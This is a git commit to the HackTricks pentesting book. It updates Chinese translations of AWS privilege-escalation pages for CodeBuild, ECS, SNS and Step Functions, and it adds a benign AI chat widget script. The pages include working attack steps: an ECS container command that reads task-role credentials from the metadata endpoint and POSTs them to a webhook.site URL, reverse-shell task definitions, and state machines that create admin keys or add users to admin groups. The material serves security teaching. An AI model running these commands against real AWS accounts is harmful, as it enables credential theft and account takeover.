Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/

This commit is contained in:
Translator
2025-04-30 15:31:55 +00:00
parent 0397e3fdea
commit f537d0e7fd
7 changed files with 938 additions and 532 deletions
+1
View File
@@ -31,6 +31,7 @@ additional-js = [
"theme/tabs.js",
"theme/ht_searcher.js",
"theme/sponsor.js",
"theme/ai.js"
]
no-section-label = true
preferred-dark-theme = "hacktricks-dark"
@@ -67,7 +67,7 @@ aws codebuild start-build-batch --project <project-name> --buildspec-override fi
### `iam:PassRole`, `codebuild:CreateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`)
拥有 **`iam:PassRole``codebuild:CreateProject``codebuild:StartBuild``codebuild:StartBuildBatch`** 权限的攻击者将能够通过创建一个正在运行的构建来 **提升权限到任何 codebuild IAM 角色**
拥有 **`iam:PassRole``codebuild:CreateProject``codebuild:StartBuild``codebuild:StartBuildBatch`** 权限的攻击者将能够通过创建一个正在运行的构建来 **提升到任何 codebuild IAM 角色**
{{#tabs }}
{{#tab name="Example1" }}
@@ -184,7 +184,7 @@ Wait a few seconds to maybe a couple minutes and view the POST request with data
### `iam:PassRole`, `codebuild:UpdateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`)
就像在前一节中一样,如果您可以修改而不是创建构建项目,您可以指示 IAM 角色并窃取令牌。
就像在前一节中一样,如果您可以修改构建项目而不是创建,您可以指示 IAM 角色并窃取令牌。
```bash
REV_PATH="/tmp/codebuild_pwn.json"
@@ -214,7 +214,7 @@ JSON="{
printf "$JSON" > $REV_PATH
aws codebuild update-project --cli-input-json file://$REV_PATH
aws codebuild update-project --name codebuild-demo-project --cli-input-json file://$REV_PATH
aws codebuild start-build --project-name codebuild-demo-project
```
@@ -222,7 +222,7 @@ aws codebuild start-build --project-name codebuild-demo-project
### `codebuild:UpdateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`)
与前一部分似,但**没有 `iam:PassRole` 权限**,您可以利用这些权限**修改现有的 Codebuild 项目并访问它们已经分配的角色**。
与前一部分似,但**没有 `iam:PassRole` 权限**,您可以利用权限**修改现有的 Codebuild 项目并访问它们已经分配的角色**。
{{#tabs }}
{{#tab name="StartBuild" }}
@@ -323,9 +323,9 @@ aws ssm start-session --target <sessionTarget> --region <region>
### (`codebuild:StartBuild` | `codebuild:StartBuildBatch`), `s3:GetObject`, `s3:PutObject`
能够启动/重启特定 CodeBuild 项目的构建的攻击者,如果该项目 `buildspec.yml` 文件存储在攻击者具有写入权限的 S3 存储桶中,则可以在 CodeBuild 过程中获得命令执行权限
能够启动/重启特定 CodeBuild 项目的构建的攻击者,如果该项目将其 `buildspec.yml` 文件存储在攻击者具有写入权限的 S3 存储桶中,则可以在 CodeBuild 过程中获得命令执行。
注意:只有当 CodeBuild 工作人员的角色与攻击者的角色不同时,这种提升权限才相关,理想情况下,工作角色应具有更高的权限
注意:只有当 CodeBuild 工作人员的角色与攻击者的角色不同时(希望是更高权限的角色),此提升才相关
```bash
aws s3 cp s3://<build-configuration-files-bucket>/buildspec.yml ./
@@ -12,7 +12,10 @@
### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:RunTask`
攻击者滥用 `iam:PassRole``ecs:RegisterTaskDefinition``ecs:RunTask` 权限可以 **生成一个新的任务定义**,其中包含一个 **恶意容器**,该容器窃取元数据凭证并 **运行它**
攻击者利用 ECS 中的 `iam:PassRole``ecs:RegisterTaskDefinition``ecs:RunTask` 权限可以 **生成一个新的任务定义**,其中包含一个 **恶意容器**,该容器窃取元数据凭证并 **运行它**
{{#tabs }}
{{#tab name="Reverse Shell" }}
```bash
# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
@@ -32,6 +35,46 @@ aws ecs run-task --task-definition iam_exfiltration \
## You need to remove all the versions (:1 is enough if you just created one)
aws ecs deregister-task-definition --task-definition iam_exfiltration:1
```
{{#endtab }}
{{#tab name="Webhook" }}
使用像 webhook.site 这样的网站创建一个 webhook
```bash
# Create file container-definition.json
[
{
"name": "exfil_creds",
"image": "python:latest",
"entryPoint": ["sh", "-c"],
"command": [
"CREDS=$(curl -s http://169.254.170.2${AWS_CONTAINER_CREDENTIALS_RELATIVE_URI}); curl -X POST -H 'Content-Type: application/json' -d \"$CREDS\" https://webhook.site/abcdef12-3456-7890-abcd-ef1234567890"
]
}
]
# Run task definition, uploading the .json file
aws ecs register-task-definition \
--family iam_exfiltration \
--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \
--network-mode "awsvpc" \
--cpu 256 \
--memory 512 \
--requires-compatibilities FARGATE \
--container-definitions file://container-definition.json
# Check the webhook for a response
# Delete task definition
## You need to remove all the versions (:1 is enough if you just created one)
aws ecs deregister-task-definition --task-definition iam_exfiltration:1
```
{{#endtab }}
{{#endtabs }}
**潜在影响:** 直接提升权限到不同的 ECS 角色。
### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`
@@ -57,7 +100,7 @@ aws ecs deregister-task-definition --task-definition iam_exfiltration:1
### `iam:PassRole`, `ecs:RegisterTaskDefinition`, (`ecs:UpdateService|ecs:CreateService)`
就像在前的例子中,攻击者滥用 **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** 或 **`ecs:CreateService`** 权限可以 **生成一个新的任务定义**,其中包含一个 **恶意容器**,该容器窃取元数据凭证并 **通过创建一个至少运行 1 个任务的新服务来运行它。**
就像在前的例子中,攻击者滥用 **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** 或 **`ecs:CreateService`** 权限可以 **生成一个新的任务定义**,其中包含一个 **恶意容器**,该容器窃取元数据凭证并 **通过创建一个至少运行 1 个任务的新服务来运行它。**
```bash
# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
@@ -84,7 +127,7 @@ aws ecs update-service --cluster <CLUSTER NAME> \
### `iam:PassRole`, (`ecs:UpdateService|ecs:CreateService)`
实际上,仅凭这些权限就可以使用覆盖在具有任意角色的容器中执行任意命令,例如:
实际上,仅凭这些权限就可以使用覆盖在具有任意角色的容器中执行任意命令,例如:
```bash
aws ecs run-task \
--task-definition "<task-name>" \
@@ -145,7 +188,7 @@ aws ecs run-task --task-definition iam_exfiltration \
### `ecs:ExecuteCommand`, `ecs:DescribeTasks,`**`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`**
拥有 **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** 的攻击者可以 **在运行的容器内执行命令** 并提取附加到它的 IAM 角色(您需要描述权限,因为运行 `aws ecs execute-command` 是必要的)。\
然而,为,容器实例需要运行 **ExecuteCommand agent**(默认情况下并不是)。
然而,为了做到这一点,容器实例需要运行 **ExecuteCommand agent**(默认情况下并不是)。
因此,攻击者可以尝试:
@@ -167,18 +210,18 @@ aws ecs execute-command --interactive \
--cluster "$CLUSTER_ARN" \
--task "$TASK_ARN"
```
- 如果他有 **`ecs:RunTask`**,可以使用 `aws ecs run-task --enable-execute-command [...]` 运行一个任务
- 如果他有 **`ecs:StartTask`**,可以使用 `aws ecs start-task --enable-execute-command [...]` 运行一个任务
- 如果他有 **`ecs:CreateService`**,可以使用 `aws ecs create-service --enable-execute-command [...]` 创建一个服务
- 如果他有 **`ecs:UpdateService`**,可以使用 `aws ecs update-service --enable-execute-command [...]` 更新一个服务
- 如果他**`ecs:RunTask`**,可以使用 `aws ecs run-task --enable-execute-command [...]` 运行任务
- 如果他**`ecs:StartTask`**,可以使用 `aws ecs start-task --enable-execute-command [...]` 运行任务
- 如果他**`ecs:CreateService`**,可以使用 `aws ecs create-service --enable-execute-command [...]` 创建服务
- 如果他**`ecs:UpdateService`**,可以使用 `aws ecs update-service --enable-execute-command [...]` 更新服务
可以在 **之前的 ECS privesc 部分** 找到 **这些选项的示例**
可以在 **之前的 ECS privesc 部分** 找到 **这些选项的示例**
**潜在影响:** 提升权限到附加在容器上的不同角色。
### `ssm:StartSession`
查看 **ssm privesc 页面**,了解如何利用此权限 **提升权限到 ECS**
查看 **ssm privesc 页面**,了解如何利用此权限 **提升权限到 ECS**
{{#ref}}
aws-ssm-privesc.md
@@ -186,7 +229,7 @@ aws-ssm-privesc.md
### `iam:PassRole`, `ec2:RunInstances`
查看 **ec2 privesc 页面**,了解如何利用这些权限 **提升权限到 ECS**
查看 **ec2 privesc 页面**,了解如何利用这些权限 **提升权限到 ECS**
{{#ref}}
aws-ec2-privesc.md
@@ -194,14 +237,14 @@ aws-ec2-privesc.md
### `?ecs:RegisterContainerInstance`
TODO: 是否可以从不同的 AWS 账户注册一个实例,以便在攻击者控制的机器上运行任务
TODO: 是否可以从不同的 AWS 账户注册一个实例,以便任务在攻击者控制的机器上运行?
### `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, `ecs:DescribeTaskSets`
> [!NOTE]
> TODO: 测试这个
拥有权限 `ecs:CreateTaskSet``ecs:UpdateServicePrimaryTaskSet``ecs:DescribeTaskSets` 的攻击者可以 **为现有的 ECS 服务创建一个恶意任务集并更新主任务集**。这允许攻击者 **在服务内执行任意代码**
拥有权限 `ecs:CreateTaskSet``ecs:UpdateServicePrimaryTaskSet``ecs:DescribeTaskSets` 的攻击者可以 **为现有的 ECS 服务创建恶意任务集并更新主任务集**。这允许攻击者 **在服务内执行任意代码**
```bash
bashCopy code# Register a task definition with a reverse shell
echo '{
@@ -20,18 +20,18 @@ aws sns publish --topic-arn <value> --message <value>
### `sns:Subscribe`
攻击者可订阅SNS主题,从而可能获得对消息的未经授权访问或干扰依赖该主题的应用程序的正常功能。
攻击者可能会订阅SNS主题,从而可能获得对消息的未经授权访问或干扰依赖该主题的应用程序的正常功能。
```bash
aws sns subscribe --topic-arn <value> --protocol <value> --endpoint <value>
```
**潜在影响**未经授权访问消息(敏感信息),依赖受影响主题的应用程序服务中断。
**潜在影响**消息(敏感信息)的未经授权访问,依赖受影响主题的应用程序服务中断。
### `sns:AddPermission`
攻击者可能会授予未经授权的用户或服务访问SNS主题的权限,从而可能获得进一步的权限。
攻击者可能会授予未经授权的用户或服务SNS主题的访问权限,从而可能获得进一步的权限。
```css
aws sns add-permission --topic-arn <value> --label <value> --aws-account-id <value> --action-name <value>
```
**潜在影响**:未经授权的用户或服务对主题的未经授权访问、消息暴露或主题操控,干扰依赖该主题的应用程序正常功能。
**潜在影响**:未经授权的用户或服务对主题的访问、消息暴露或主题操控,导致依赖该主题的应用程序正常功能中断
{{#include ../../../banners/hacktricks-training.md}}
@@ -10,7 +10,7 @@
../aws-services/aws-stepfunctions-enum.md
{{#endref}}
### 任务资源
### Task Resources
这些权限提升技术将需要使用一些 AWS 步骤函数资源,以执行所需的权限提升操作。
@@ -18,14 +18,14 @@
<figure><img src="../../../images/telegram-cloud-photo-size-4-5920521132757336440-y.jpg" alt=""><figcaption></figcaption></figure>
或者您也可以访问 API AWS 文档,查看每个操作的文档:
或者您也可以访问 AWS API 文档,查看每个操作的文档:
- [**AddUserToGroup**](https://docs.aws.amazon.com/IAM/latest/APIReference/API_AddUserToGroup.html)
- [**GetSecretValue**](https://docs.aws.amazon.com/secretsmanager/latest/apireference/API_GetSecretValue.html)
### `states:TestState` & `iam:PassRole`
拥有 **`states:TestState`** 和 **`iam:PassRole`** 权限的攻击者可以测试任何状态并将任何 IAM 角色传递给它,而无需创建或更新现有的状态机,从而可能启用对其他 AWS 服务的未经授权访问。结合起来,这些权限可能导致广泛的未经授权的操作,从操纵工作流以更改数据到数据泄露、资源操纵和权限提升。
拥有 **`states:TestState`** 和 **`iam:PassRole`** 权限的攻击者可以测试任何状态并将任何 IAM 角色传递给它,而无需创建或更新现有的状态机,这可能会使其他 AWS 服务的角色权限获得未经授权访问。结合这些权限可能导致广泛的未经授权的操作,从操纵工作流以更改数据到数据泄露、资源操纵和权限提升。
```bash
aws states test-state --definition <value> --role-arn <value> [--input <value>] [--inspection-level <value>] [--reveal-secrets | --no-reveal-secrets]
```
@@ -75,7 +75,7 @@ aws states start-execution --state-machine-arn <value> [--name <value>] [--input
# Start a Synchronous Express state machine execution
aws states start-sync-execution --state-machine-arn <value> [--name <value>] [--input <value>] [--trace-header <value>]
```
以下示例展示了如何创建一个状态机,该状态机为 **`admin`** 用户创建一个访问密钥,并将此访问密钥导出到攻击者控制的 S3 存储桶,利用这些权限和 AWS 环境的宽松角色。宽松角色应与任何高权限策略相关联(例如 **`arn:aws:iam::aws:policy/AdministratorAccess`**),允许状态机执行 **`iam:CreateAccessKey`** 和 **`s3:putObject`** 操作。
以下示例展示了如何创建一个状态机,该状态机为 **`admin`** 用户创建一个访问密钥,并将此访问密钥导出到攻击者控制的 S3 存储桶,利用这些权限和 AWS 环境的宽松角色。宽松角色应与任何高权限策略相关联(例如 **`arn:aws:iam::aws:policy/AdministratorAccess`**),允许状态机执行 **`iam:CreateAccessKey`** 和 **`s3:putObject`** 操作。
- **stateMachineDefinition.json**:
```json
@@ -138,20 +138,20 @@ aws stepfunctions start-execution --state-machine-arn arn:aws:states:us-east-1:1
### `states:UpdateStateMachine` 和 (不总是需要) `iam:PassRole`
拥有 **`states:UpdateStateMachine`** 权限的攻击者将能够修改状态机的定义,能够添加额外的隐蔽状态,这可能导致特权提升。这样,当合法用户启动状态机的执行时,这个新的恶意隐蔽状态将被执行,特权提升将成功。
拥有 **`states:UpdateStateMachine`** 权限的攻击者将能够修改状态机的定义,能够添加额外的隐蔽状态,这可能导致特权提升。这样,当合法用户开始执行状态机时,这个新的恶意隐蔽状态将被执行,特权提升将成功。
根据与状态机关联的 IAM 角色的权限宽松程度,攻击者将面临两种情况:
1. **宽松的 IAM 角色**:如果与状态机关联的 IAM 角色已经宽松(例如,附加了 **`arn:aws:iam::aws:policy/AdministratorAccess`** 策略),那么为了提升特权,**`iam:PassRole`** 权限将不是必需的,因为不需要更新 IAM 角色,仅状态机定义就足够。
1. **宽松的 IAM 角色**:如果与状态机关联的 IAM 角色已经宽松(例如,附加了 **`arn:aws:iam::aws:policy/AdministratorAccess`** 策略),那么不需要 **`iam:PassRole`** 权限来提升特权,因为不需要更新 IAM 角色,仅状态机定义就足够
2. **不宽松的 IAM 角色**:与前一种情况相反,在这里攻击者还需要 **`iam:PassRole`** 权限,因为除了修改状态机定义外,还需要将一个宽松的 IAM 角色与状态机关联。
```bash
aws states update-state-machine --state-machine-arn <value> [--definition <value>] [--role-arn <value>] [--logging-configuration <value>] \
[--tracing-configuration <enabled=true|false>] [--publish | --no-publish] [--version-description <value>]
```
以下示例展示了如何更新一个合法的状态机,该状态机仅调用一个 HelloWorld Lambda 函数,以添加一个额外的状态,将用户 **`unprivilegedUser`** 添加到 **`administrator`** IAM 组。这样,当一个合法用户启动更新后的状态机的执行时,这个新的恶意隐蔽状态将被执行,特权提升将成功。
以下示例展示了如何更新一个合法的状态机,该状态机仅调用一个 HelloWorld Lambda 函数,以添加一个额外的状态,将用户 **`unprivilegedUser`** 添加到 **`administrator`** IAM 组。这样,当合法用户启动更新后的状态机的执行时,这个新的恶意隐蔽状态将被执行,特权提升将成功。
> [!WARNING]
> 如果状态机没有关联一个宽松的 IAM 角色,还需要 **`iam:PassRole`** 权限来更新 IAM 角色,以便关联一个宽松的 IAM 角色(例如,附加了 **`arn:aws:iam::aws:policy/AdministratorAccess`** 策略的角色)。
> 如果状态机没有关联一个宽松的 IAM 角色,还需要 **`iam:PassRole`** 权限来更新 IAM 角色,以便关联一个宽松的 IAM 角色(例如,附加了 **`arn:aws:iam::aws:policy/AdministratorAccess`** 策略的角色)。
{{#tabs }}
{{#tab name="Legit State Machine" }}
@@ -226,6 +226,6 @@ aws stepfunctions update-state-machine --state-machine-arn arn:aws:states:us-eas
"revisionId": "1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f"
}
```
**潜在影响**:未经授权的工作流执行和操以及对敏感资源的访问,可能导致重大的安全漏洞。
**潜在影响**:未经授权的工作流执行和操以及对敏感资源的访问,可能导致重大的安全漏洞。
{{#include ../../../banners/hacktricks-training.md}}
+332
View File
@@ -0,0 +1,332 @@
/**
* HackTricks AI Chat Widget v1.15 Markdown rendering + sanitised
* ------------------------------------------------------------------------
* • Replaces the static “…” placeholder with a three-dot **bouncing** loader
* • Renders assistant replies as Markdown while purging any unsafe HTML
* (XSS-safe via DOMPurify)
* ------------------------------------------------------------------------
*/
(function () {
const LOG = "[HackTricks-AI]";
/* ---------------- User-tunable constants ---------------- */
const MAX_CONTEXT = 3000; // highlighted-text char limit
const MAX_QUESTION = 500; // question char limit
const TOOLTIP_TEXT =
"💡 Highlight any text on the page,\nthen click to ask HackTricks AI about it";
const API_BASE = "https://www.hacktricks.ai/api/assistants/threads";
const BRAND_RED = "#b31328"; // HackTricks brand
/* ------------------------------ State ------------------------------ */
let threadId = null;
let isRunning = false;
const $ = (sel, ctx = document) => ctx.querySelector(sel);
if (document.getElementById("ht-ai-btn")) {
console.warn(`${LOG} Widget already injected.`);
return;
}
(document.readyState === "loading"
? document.addEventListener("DOMContentLoaded", init)
: init());
/* ==================================================================== */
/* 🔗 1. 3rd-party libs → Markdown & sanitiser */
/* ==================================================================== */
function loadScript(src) {
return new Promise((resolve, reject) => {
const s = document.createElement("script");
s.src = src;
s.onload = resolve;
s.onerror = () => reject(new Error(`Failed to load ${src}`));
document.head.appendChild(s);
});
}
async function ensureDeps() {
const deps = [];
if (typeof marked === "undefined") {
deps.push(loadScript("https://cdn.jsdelivr.net/npm/marked/marked.min.js"));
}
if (typeof DOMPurify === "undefined") {
deps.push(
loadScript(
"https://cdnjs.cloudflare.com/ajax/libs/dompurify/3.2.5/purify.min.js"
)
);
}
if (deps.length) await Promise.all(deps);
}
function mdToSafeHTML(md) {
// 1️⃣ Markdown → raw HTML
const raw = marked.parse(md, { mangle: false, headerIds: false });
// 2️⃣ Purify
return DOMPurify.sanitize(raw, { USE_PROFILES: { html: true } });
}
/* ==================================================================== */
async function init() {
/* ----- make sure marked & DOMPurify are ready before anything else */
try {
await ensureDeps();
} catch (e) {
console.error(`${LOG} Could not load dependencies`, e);
return;
}
console.log(`${LOG} Injecting widget… v1.15`);
await ensureThreadId();
injectStyles();
const btn = createFloatingButton();
createTooltip(btn);
const panel = createSidebar();
const chatLog = $("#ht-ai-chat");
const sendBtn = $("#ht-ai-send");
const inputBox = $("#ht-ai-question");
const resetBtn = $("#ht-ai-reset");
const closeBtn = $("#ht-ai-close");
/* ------------------- Selection snapshot ------------------- */
let savedSelection = "";
btn.addEventListener("pointerdown", () => {
savedSelection = window.getSelection().toString().trim();
});
/* ------------------- Helpers ------------------------------ */
function addMsg(text, cls) {
const b = document.createElement("div");
b.className = `ht-msg ${cls}`;
// ✨ assistant replies rendered as Markdown + sanitised
if (cls === "ht-ai") {
b.innerHTML = mdToSafeHTML(text);
} else {
// user / context bubbles stay plain-text
b.textContent = text;
}
chatLog.appendChild(b);
chatLog.scrollTop = chatLog.scrollHeight;
return b;
}
const LOADER_HTML =
'<span class="ht-loading"><span></span><span></span><span></span></span>';
function setInputDisabled(d) {
inputBox.disabled = d;
sendBtn.disabled = d;
}
function clearThreadCookie() {
document.cookie = "threadId=; Path=/; Max-Age=0";
threadId = null;
}
function resetConversation() {
chatLog.innerHTML = "";
clearThreadCookie();
panel.classList.remove("open");
}
/* ------------------- Panel open / close ------------------- */
btn.addEventListener("click", () => {
if (!savedSelection) {
alert("Please highlight some text first to then ask HackTricks AI about it.");
return;
}
if (savedSelection.length > MAX_CONTEXT) {
alert(
`Highlighted text is too long (${savedSelection.length} chars). Max allowed: ${MAX_CONTEXT}.`
);
return;
}
chatLog.innerHTML = "";
addMsg(savedSelection, "ht-context");
panel.classList.add("open");
inputBox.focus();
});
closeBtn.addEventListener("click", resetConversation);
resetBtn.addEventListener("click", resetConversation);
/* --------------------------- Messaging --------------------------- */
async function sendMessage(question, context = null) {
if (!threadId) await ensureThreadId();
if (isRunning) {
addMsg("Please wait until the current operation completes.", "ht-ai");
return;
}
isRunning = true;
setInputDisabled(true);
const loadingBubble = addMsg("", "ht-ai");
loadingBubble.innerHTML = LOADER_HTML;
const content = context
? `### Context:\n${context}\n\n### Question to answer:\n${question}`
: question;
try {
const res = await fetch(`${API_BASE}/${threadId}/messages`, {
method: "POST",
credentials: "include",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ content })
});
if (!res.ok) {
let err = `Unknown error: ${res.status}`;
try {
const e = await res.json();
if (e.error) err = `Error: ${e.error}`;
else if (res.status === 429)
err = "Rate limit exceeded. Please try again later.";
} catch (_) {}
loadingBubble.textContent = err;
return;
}
const data = await res.json();
loadingBubble.remove();
if (Array.isArray(data.response))
data.response.forEach((p) => {
addMsg(
p.type === "text" && p.text && p.text.value
? p.text.value
: JSON.stringify(p),
"ht-ai"
);
});
else if (typeof data.response === "string")
addMsg(data.response, "ht-ai");
else addMsg(JSON.stringify(data, null, 2), "ht-ai");
} catch (e) {
console.error("Error sending message:", e);
loadingBubble.textContent = "An unexpected error occurred.";
} finally {
isRunning = false;
setInputDisabled(false);
chatLog.scrollTop = chatLog.scrollHeight;
}
}
async function handleSend() {
const q = inputBox.value.trim();
if (!q) return;
if (q.length > MAX_QUESTION) {
alert(
`Your question is too long (${q.length} chars). Max allowed: ${MAX_QUESTION}.`
);
return;
}
inputBox.value = "";
addMsg(q, "ht-user");
await sendMessage(q, savedSelection || null);
}
sendBtn.addEventListener("click", handleSend);
inputBox.addEventListener("keydown", (e) => {
if (e.key === "Enter" && !e.shiftKey) {
e.preventDefault();
handleSend();
}
});
}
/* ==================================================================== */
async function ensureThreadId() {
const m = document.cookie.match(/threadId=([^;]+)/);
if (m && m[1]) {
threadId = m[1];
return;
}
try {
const r = await fetch(API_BASE, { method: "POST", credentials: "include" });
const d = await r.json();
if (!r.ok || !d.threadId) throw new Error(`${r.status} ${r.statusText}`);
threadId = d.threadId;
document.cookie =
`threadId=${threadId}; Path=/; Secure; SameSite=Strict; Max-Age=7200`;
} catch (e) {
console.error("Error creating threadId:", e);
alert("Failed to initialise the conversation. Please refresh and try again.");
throw e;
}
}
/* ==================================================================== */
function injectStyles() {
const css = `
#ht-ai-btn{position:fixed;bottom:20px;left:50%;transform:translateX(-50%);width:60px;height:60px;border-radius:50%;background:#1e1e1e;color:#fff;font-size:28px;display:flex;align-items:center;justify-content:center;cursor:pointer;z-index:99999;box-shadow:0 2px 8px rgba(0,0,0,.4);transition:opacity .2s}
#ht-ai-btn:hover{opacity:.85}
@media(max-width:768px){#ht-ai-btn{display:none}}
#ht-ai-tooltip{position:fixed;padding:6px 8px;background:#111;color:#fff;border-radius:4px;font-size:13px;white-space:pre-wrap;pointer-events:none;opacity:0;transform:translate(-50%,-8px);transition:opacity .15s ease,transform .15s ease;z-index:100000}
#ht-ai-tooltip.show{opacity:1;transform:translate(-50%,-12px)}
#ht-ai-panel{position:fixed;top:0;right:0;height:100%;width:350px;max-width:90vw;background:#000;color:#fff;display:flex;flex-direction:column;transform:translateX(100%);transition:transform .3s ease;z-index:100000;font-family:system-ui,-apple-system,Segoe UI,Roboto,"Helvetica Neue",Arial,sans-serif}
#ht-ai-panel.open{transform:translateX(0)}
@media(max-width:768px){#ht-ai-panel{display:none}}
#ht-ai-header{display:flex;justify-content:space-between;align-items:center;padding:12px 16px;border-bottom:1px solid #333}
#ht-ai-header .ht-actions{display:flex;gap:8px;align-items:center}
#ht-ai-close,#ht-ai-reset{cursor:pointer;font-size:18px;background:none;border:none;color:#fff;padding:0}
#ht-ai-close:hover,#ht-ai-reset:hover{opacity:.7}
#ht-ai-chat{flex:1;overflow-y:auto;padding:16px;display:flex;flex-direction:column;gap:12px;font-size:14px}
.ht-msg{max-width:90%;line-height:1.4;padding:10px 12px;border-radius:8px;white-space:pre-wrap;word-wrap:break-word}
.ht-user{align-self:flex-end;background:${BRAND_RED}}
.ht-ai{align-self:flex-start;background:#222}
.ht-context{align-self:flex-start;background:#444;font-style:italic;font-size:13px}
#ht-ai-input{display:flex;gap:8px;padding:12px 16px;border-top:1px solid #333}
#ht-ai-question{flex:1;min-height:40px;max-height:120px;resize:vertical;padding:8px;border-radius:6px;border:none;font-size:14px}
#ht-ai-send{padding:0 18px;border:none;border-radius:6px;background:${BRAND_RED};color:#fff;font-size:14px;cursor:pointer}
#ht-ai-send:disabled{opacity:.5;cursor:not-allowed}
/* Loader animation */
.ht-loading{display:inline-flex;align-items:center;gap:4px}
.ht-loading span{width:6px;height:6px;border-radius:50%;background:#888;animation:ht-bounce 1.2s infinite ease-in-out}
.ht-loading span:nth-child(2){animation-delay:0.2s}
.ht-loading span:nth-child(3){animation-delay:0.4s}
@keyframes ht-bounce{0%,80%,100%{transform:scale(0);}40%{transform:scale(1);} }
::selection{background:#ffeb3b;color:#000}
::-moz-selection{background:#ffeb3b;color:#000}`;
const s = document.createElement("style");
s.id = "ht-ai-style";
s.textContent = css;
document.head.appendChild(s);
}
function createFloatingButton() {
const d = document.createElement("div");
d.id = "ht-ai-btn";
d.textContent = "🤖";
document.body.appendChild(d);
return d;
}
function createTooltip(btn) {
const t = document.createElement("div");
t.id = "ht-ai-tooltip";
t.textContent = TOOLTIP_TEXT;
document.body.appendChild(t);
btn.addEventListener("mouseenter", () => {
const r = btn.getBoundingClientRect();
t.style.left = `${r.left + r.width / 2}px`;
t.style.top = `${r.top}px`;
t.classList.add("show");
});
btn.addEventListener("mouseleave", () => t.classList.remove("show"));
}
function createSidebar() {
const p = document.createElement("div");
p.id = "ht-ai-panel";
p.innerHTML = `
<div id="ht-ai-header"><strong>HackTricks AI Chat</strong>
<div class="ht-actions">
<button id="ht-ai-reset" title="Reset">↺</button>
<span id="ht-ai-close" title="Close">✖</span>
</div>
</div>
<div id="ht-ai-chat"></div>
<div id="ht-ai-input">
<textarea id="ht-ai-question" placeholder="Type your question…"></textarea>
<button id="ht-ai-send">Send</button>
</div>`;
document.body.appendChild(p);
return p;
}
})();
+530 -500
View File
File diff suppressed because it is too large Load Diff